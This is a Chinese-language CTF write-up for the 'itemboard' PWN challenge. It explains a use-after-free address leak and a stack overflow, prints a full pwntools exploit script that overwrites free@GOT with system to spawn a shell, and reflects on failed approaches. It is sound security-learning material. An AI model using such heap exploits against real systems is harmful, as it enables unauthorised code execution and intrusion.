0x00. 前言 前天遇到一题含有Use after free的PWN,题目开启了NX、PIE等防护。我花了一天时间磕磕碰碰,最终弄出来了,现记录下过程。
0x01. 漏洞利用思路 漏洞位置: 该题存在两个漏洞,一个是Use after free导致的地址泄漏;一个是栈溢出导致的任意地址写。漏洞如下图:
利用思路: 首先,利用Use after free泄漏libc以及堆块基址。由于题目将代码段的item_free函数地址存储在堆上,因此,利用栈溢出任意地址写结合Use after free可以泄漏代码段的地址。最后利用system地址覆盖free函数的got,然后free堆块就可以了。
0x02. 漏洞利用代码 漏洞利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *DEBUG = 0 if DEBUG: context.log_level = 'debug' p = process('./itemboard' ) else : p = remote("pwn2.jarvisoj.com" , 9887 ) def new_item (name, length, des ): p.recvuntil('choose:' ) p.sendline('1' ) p.recvuntil('Item name?' ) p.sendline(name) p.recvuntil('len?' ) p.sendline(str (length)) p.recvuntil('Description?' ) p.sendline(des) def list_item (): p.recvuntil('choose:' ) p.sendline('2' ) print p.recvuntil('1.' ) def show_item (num, ans='Description:' ): p.recvuntil('choose:' ) p.sendline('3' ) p.recvuntil('Which item?' ) p.sendline(str (num)) p.recvuntil(ans) def delete_item (num ): p.recvuntil('choose:' ) p.sendline('4' ) p.recvuntil('Which item?' ) p.sendline(str (num)) def exp (): new_item('0' *8 , 256 , '0' *16 ) new_item('1' *8 , 32 , '1' *16 ) delete_item(0 ) show_item(0 ) addr = p.recvuntil('\n' ) main_arena = u64(addr[0 :-1 ].ljust(8 , '\x00' )) delete_item(1 ) show_item(1 ) addr = p.recvuntil('\n' ) heap_addr = u64(addr[0 :-1 ].ljust(8 , '\x00' )) if DEBUG: libc = main_arena - 0x3c3b10 - 0x68 system_addr = libc + 0x45390 else : libc = main_arena - 0x3be740 - 0x78 system_addr = libc + 0x46590 log.success("libc address: " + hex (libc)) log.success("system address: " + hex (system_addr)) log.success("heap address: " + hex (heap_addr)) payload = p64(heap_addr) payload = payload.ljust(1032 , 'a' ) payload += p64(heap_addr + 0x38 ) new_item(p64(heap_addr - 0x10 ), 1048 , payload) show_item(1 , 'Name:' ) addr = p.recvuntil('\n' ) item_free = u64(addr[0 :-1 ].ljust(8 , '\x00' )) text = item_free - 0xb39 free_got = text + 0x202018 log.success("text address: " + hex (text)) payload = p64(system_addr) payload = payload.ljust(1032 , 'a' ) payload += p64(heap_addr - 0x148 ) new_item("/bin/sh\x00" , 32 , p64(free_got)) new_item('4' *16 , 1048 , payload) delete_item(3 ) p.interactive() if __name__ == '__main__' : exp()
0x03. 体会 由于接触堆漏洞时间短,没有大量训练,解决这道题时遇到各种坑,记录下体会。首先,一开始发现了栈溢出,但是没想到如何利用,就忘记了,忘记了。然后发现Use after free可以泄漏地址,但只泄漏了fast bin中堆基址,而没想到泄漏unsorted bin中libc地址。与此同时,发现可以Double free,就一直在想如何构造伪块,利用Large bin attack覆盖tls_dtors_list地址,但是strcpy复制输入数据到堆上时会截断NULL字节并且Large bin attack在当前版本的glibc(2.23)已经失效。尝试了几次,发现这条路走不通。我就重新认真思考,突然发现既然能泄漏堆块基址,就可以泄漏libc基址。当泄漏了libc基址和堆块地址,就在想如何覆盖free@got.plt ,但是Large bin attack在当前版本glibc已经失效。然后在午睡的时候,突然灵光一闪,发现栈溢出这块还没有利用,认真分析了一下栈溢出可以覆盖的内容,发现可以通过覆盖栈上item地址,造成任意地址写。已经快接近成功了,但是由于程序开启的PIE导致代码段地址随机,无法获取free@got.plt 地址。就在想如何泄漏text段地址,通过调试观察堆上内容,发现text段的item_free函数的地址存储在堆上。于是,通过任意地址写结合Use after free泄漏text段地址,从而获取free@got.plt 地址,最终成功。PS:我在Ubuntu14.04(glibc 2.19)上通过Overwriting tls_dtors_list可以利用成功,但是在打远程时由于tls_dtors_list地址偏移不一致,导致失败。